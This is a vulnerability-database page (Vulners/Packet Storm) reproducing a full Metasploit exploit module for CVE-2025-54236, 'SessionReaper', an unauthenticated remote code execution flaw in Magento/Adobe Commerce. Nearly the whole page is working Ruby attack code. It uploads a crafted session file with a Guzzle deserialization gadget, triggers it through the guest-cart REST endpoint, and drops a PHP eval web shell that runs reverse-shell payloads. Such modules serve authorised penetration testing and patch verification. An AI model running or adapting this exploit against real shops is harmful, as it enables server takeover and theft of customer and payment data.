Lucene search
K

📄 Magento SessionReaper Remote Code Execution

🗓️ 11 Dec 2025 00:00:00Reported by Valentin Lobstein, Blaklis, Tomais WilliamsonType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 220 Views

Exploits unauthenticated Magento SessionReaper RCE via deserialization and file upload.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Magento SessionReaper',
            'Description' => %q{
              This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in
              Magento/Adobe Commerce that allows unauthenticated remote code execution.
    
              The vulnerability stems from improper handling of nested deserialization in the
              payment method context, combined with an unauthenticated file upload endpoint.
    
              The exploit chain consists of three steps:
              1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization
              payload via the unauthenticated /customer/address_file/upload endpoint
              2. Trigger deserialization by sending a crafted JSON payload to the REST API
              endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the
              session savePath to point to the uploaded file
              3. Execute the uploaded PHP code to gain remote code execution
    
              This vulnerability affects Magento 2.x instances configured to use file-based
              session storage. Patched versions will return a 400 Bad Request response instead
              of processing the malicious payload.
            },
            'Author' => [
              'Blaklis',                                    # Discovery
              'Tomais Williamson',                          # Research & Analysis
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-54236'],
              ['URL', 'https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/'],
              ['URL', 'https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397']
            ],
            'Privileged' => false,
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-22',
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
      end
    
      def check_404_response(body)
        lower = body.to_s.downcase
        return false unless lower.include?('no such entity')
    
        lower.include?('cartid') || (lower.include?('fieldname') && lower.include?('fieldvalue'))
      end
    
      def check_500_response(body)
        lower = body.to_s.downcase
        return false if lower.include?('500 internal server error') && !lower.include?('sessionhandler')
    
        lower.include?('sessionhandler::read') ||
          (lower.include?('no such file or directory') && lower.include?('session')) ||
          lower.include?('webapi-')
      end
    
      def check
        random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/')
        cart_id = Rex::Text.rand_text_alphanumeric(4..8)
        res = send_request_cgi({
          'uri' => normalize_uri(
            target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
          ),
          'method' => 'PUT',
          'ctype' => 'application/json',
          'headers' => { 'Accept' => 'application/json' },
          'data' => build_deserialization_payload(random_path)
        })
    
        return CheckCode::Unknown('No response from target') unless res
    
        case res.code
        when 400
          return CheckCode::Safe('Target is patched (returns 400 Bad Request)')
        when 404
          return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body)
        when 500
          return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body)
        end
    
        CheckCode::Unknown("Unexpected HTTP status: #{res.code}")
      end
    
      def exploit
        session_id = Rex::Text.rand_text_hex(32)
        session_filename = "sess_#{session_id}"
        session_save_dir = session_save_dir_from_filename(session_filename)
        exploit_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.php"
        post_param = Rex::Text.rand_text_alphanumeric(4..8)
    
        vprint_status('Generating Guzzle/FW1 deserialization payload...')
        php_stub = "<?php @eval(base64_decode(\$_POST['#{post_param}']));?>"
        guzzle_payload = build_guzzle_fw1_payload("pub/#{exploit_filename}", php_stub)
    
        vprint_status('Uploading session file with Guzzle payload...')
        uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12))
        return unless uploaded_path
    
        save_path = "media/customer_address#{File.dirname(uploaded_path)}"
        unless trigger_deserialization(session_id, save_path)
          fail_with(Failure::Unknown, 'Failed to trigger deserialization')
        end
    
        register_file_for_cleanup(exploit_filename.to_s)
        register_file_for_cleanup("media/customer_address/#{session_save_dir}/#{session_filename}")
        register_file_for_cleanup(datastore['FETCH_FILENAME'].to_s) if target['Arch'] == ARCH_CMD && datastore['FETCH_FILENAME'].present?
    
        execute_uri = normalize_uri(target_uri.path, 'pub', exploit_filename)
        vprint_status("Executing payload at: #{execute_uri}")
    
        phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        encoded_payload = Rex::Text.encode_base64(phped_payload)
        send_request_cgi({
          'uri' => execute_uri,
          'method' => 'POST',
          'data' => "#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}",
          'ctype' => 'application/x-www-form-urlencoded'
        })
      end
    
      def session_save_dir_from_filename(filename)
        "#{filename[0]}/#{filename[1]}"
      end
    
      def upload_session_file(session_id, content, form_key)
        filename = "sess_#{session_id}"
        vprint_status("Uploading malicious session file: #{filename}")
    
        post_data = Rex::MIME::Message.new
        post_data.add_part(form_key, nil, nil, 'form-data; name="form_key"')
        filename_part = 'form-data; name="custom_attributes[country_id]"; ' \
                        "filename=\"#{filename}\""
        post_data.add_part(content, 'application/octet-stream', nil, filename_part)
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'customer', 'address_file', 'upload'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'cookie' => "form_key=#{form_key}",
          'data' => post_data.to_s,
          'keep_cookies' => true
        })
    
        return nil unless res&.code == 200
    
        json_response = res.get_json_document
        error_msg = json_response&.dig('error')
        if error_msg && error_msg != 0
          print_error("Upload failed: #{error_msg}")
          return nil
        end
    
        return json_response['file'] if json_response&.dig('file')
    
        "/#{session_save_dir_from_filename(filename)}/#{filename}"
      end
    
      def build_deserialization_payload(save_path)
        {
          'paymentMethod' => {
            'paymentData' => {
              'context' => {
                'urlBuilder' => {
                  'session' => {
                    'sessionConfig' => {
                      'savePath' => save_path
                    }
                  }
                }
              }
            }
          }
        }.to_json
      end
    
      def trigger_deserialization(session_id, save_path)
        vprint_status("Triggering deserialization with savePath: #{save_path}")
    
        cart_id = Rex::Text.rand_text_alphanumeric(4..8)
        res = send_request_cgi({
          'uri' => normalize_uri(
            target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
          ),
          'method' => 'PUT',
          'ctype' => 'application/json',
          'headers' => { 'Accept' => 'application/json' },
          'cookie' => "PHPSESSID=#{session_id}",
          'data' => build_deserialization_payload(save_path)
        })
    
        return false unless res&.code == 404 || res&.code == 500
    
        vprint_good("Deserialization triggered (HTTP #{res.code})")
        true
      end
    
      # Serialize a string to PHP binary-safe string format (S:)
      # Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is
      # Other characters are escaped as \xHH where HH is the hexadecimal byte value
      def serialize_string_ascii(str)
        result = str.each_byte.map do |byte|
          # Keep printable ASCII characters except backslash (92) and double quote (34)
          next byte.chr if (32..126).cover?(byte) && byte != 92 && byte != 34
    
          # Escape other characters as \xHH
          "\\#{sprintf('%02x', byte)}"
        end.join
        # PHP binary-safe string format: S:length:"content";
        "S:#{str.length}:\"#{result}\";"
      end
    
      def build_guzzle_fw1_payload(target_file, php_content)
        escaped = "#{php_content}\n"
        set_cookie_data = "a:3:{#{serialize_string_ascii('Expires')}i:1;" \
                          "#{serialize_string_ascii('Discard')}b:0;" \
                          "#{serialize_string_ascii('Value')}#{serialize_string_ascii(escaped)}}"
        set_cookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' \
                     "{#{serialize_string_ascii('data')}#{set_cookie_data}}"
        cookies_array = "a:1:{i:0;#{set_cookie}}"
        file_cookie_jar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' \
                          "{#{serialize_string_ascii('cookies')}#{cookies_array}" \
                          "#{serialize_string_ascii('strictMode')}N;" \
                          "#{serialize_string_ascii('filename')}#{serialize_string_ascii(target_file)}" \
                          "#{serialize_string_ascii('storeSessionCookies')}b:1;}"
        "_|#{file_cookie_jar}"
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2025 00:00Current
10High risk
Vulners AI Score10
CVSS 3.19.1
EPSS0.72152
220